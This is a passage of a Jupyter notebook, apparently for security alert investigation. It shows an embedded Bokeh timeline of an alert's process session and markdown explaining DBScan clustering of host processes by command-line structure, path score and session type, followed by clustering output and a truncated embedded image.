"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"a86c75b3-aaf7-465b-a7bc-d425753b1527\",\"type\":\"BasicTicker\"},\"visible\":false},\"id\":\"56f73109-87ee-4ccf-957d-4afae847836a\",\"type\":\"LinearAxis\"},{\"attributes\":{},\"id\":\"a86c75b3-aaf7-465b-a7bc-d425753b1527\",\"type\":\"BasicTicker\"},{\"attributes\":{},\"id\":\"502dbe55-6c6e-4275-bea8-a0190b17e58e\",\"type\":\"Selection\"},{\"attributes\":{\"callback\":null},\"id\":\"f4c9d5ec-7b8f-48a7-82cc-0839c20fcb23\",\"type\":\"DataRange1d\"},{\"attributes\":{\"plot\":{\"id\":\"96008306-a1ad-46b5-8fda-501a5fc26ff1\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"833d02cc-ae71-4f09-9ebe-6392861a4ed8\",\"type\":\"DatetimeTicker\"}},\"id\":\"ca88be12-6596-49ae-b291-8a4ed149750b\",\"type\":\"Grid\"},{\"attributes\":{\"axis_label\":\"Event Time\",\"formatter\":{\"id\":\"855c13c5-4257-4510-a574-c3c43e006075\",\"type\":\"DatetimeTickFormatter\"},\"plot\":{\"id\":\"96008306-a1ad-46b5-8fda-501a5fc26ff1\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"833d02cc-ae71-4f09-9ebe-6392861a4ed8\",\"type\":\"DatetimeTicker\"}},\"id\":\"a31028b3-8ca6-446a-8b03-f83247e77e08\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"dimension\":1,\"plot\":{\"id\":\"96008306-a1ad-46b5-8fda-501a5fc26ff1\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"a86c75b3-aaf7-465b-a7bc-d425753b1527\",\"type\":\"BasicTicker\"}},\"id\":\"2684d76a-906d-4e8c-805d-d112b9425dfb\",\"type\":\"Grid\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#1f77b4\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1f77b4\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"614ef8b5-fdc9-4795-8fd9-12d270ac5d8d\",\"type\":\"Circle\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"navy\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3adc4189-05f2-4e81-9b2a-e6e3ecaf4f84\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"42a3acb0-bbfb-4121-ad4c-32602e787a8e\",\"type\":\"PanTool\"},{\"attributes\":{\"overlay\":{\"id\":\"80f3814d-4494-4ec8-b926-ad9f54c0c629\",\"type\":\"BoxAnnotation\"}},\"id\":\"4f9f13fe-08db-4e43-be35-4815839d73cf\",\"type\":\"BoxZoomTool\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"77a05bf0-b8ca-43cc-b125-efcfb9941adc\",\"type\":\"WheelZoomTool\"}],\"root_ids\":[\"96008306-a1ad-46b5-8fda-501a5fc26ff1\"]},\"title\":\"Bokeh Application\",\"version\":\"0.12.16\"}};\n", " var render_items = [{\"docid\":\"ab3cf291-be07-41d6-a90d-5eb4e3b96e03\",\"elementid\":\"7e255e3c-cb2b-4c04-b2fc-7a5f042a0df1\",\"modelid\":\"96008306-a1ad-46b5-8fda-501a5fc26ff1\"}];\n", " root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n", "\n", " }\n", " if (root.Bokeh !== undefined) {\n", " embed_document(root);\n", " } else {\n", " var attempts = 0;\n", " var timer = setInterval(function(root) {\n", " if (root.Bokeh !== undefined) {\n", " embed_document(root);\n", " clearInterval(timer);\n", " }\n", " attempts++;\n", " if (attempts > 100) {\n", " console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\")\n", " clearInterval(timer);\n", " }\n", " }, 10, root)\n", " }\n", "})(window);" ], "application/vnd.bokehjs_exec.v0+json": "" }, "metadata": { "application/vnd.bokehjs_exec.v0+json": { "id": "96008306-a1ad-46b5-8fda-501a5fc26ff1" } }, "output_type": "display_data" } ], "source": [ "# Show timeline of events\n", "nbdisp.display_timeline(data=process_tree, alert=security_alert, title='Alert Process Session', height=250)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "[Contents](#toc)\n", "# Other Processes on Host - Clustering\n", "Sometimes you don't have a source process to work with. Other times it's just useful to see what else is going on on the host. This section retrieves all processes on the host within the time bounds\n", "set in the query times widget.\n", "\n", "You can display the raw output of this by looking at the *processes_on_host* dataframe. Just copy this into a new cell and hit Ctrl-Enter.\n", "\n", "Usually though, the results return a lot of very repetitive and unintersting system processes so we attempt to cluster these to make the view easier to negotiate. \n", "To do this we process the raw event list output to extract a few features that render strings (such as commandline)into numerical values. The default below uses the following features:\n", "- commandLineTokensFull - this is a count of common delimiters in the commandline \n", " (given by this regex r'[\\s\\-\\\\/\\.,\"\\'|&:;%$()]'). The aim of this is to capture the commandline structure while ignoring variations on what is essentially the same pattern (e.g. temporary path GUIDs, target IP or host names, etc.)\n", "- pathScore - this sums the ordinal (character) value of each character in the path (so /bin/bash and /bin/bosh would have similar scores).\n", "- isSystemSession - 1 if this is a root/system session, 0 if anything else.\n", "\n", "Then we run a clustering algorithm (DBScan in this case) on the process list. The result groups similar (noisy) processes together and leaves unique process patterns as single-member clusters." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "#### Clustered Processes (i.e. processes that have a cluster size > 1)" ] }, { "cell_type": "code", "execution_count": 41, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Number of input events: 363\n", "Number of clustered events: 62\n" ] }, { "data": { "image/png": "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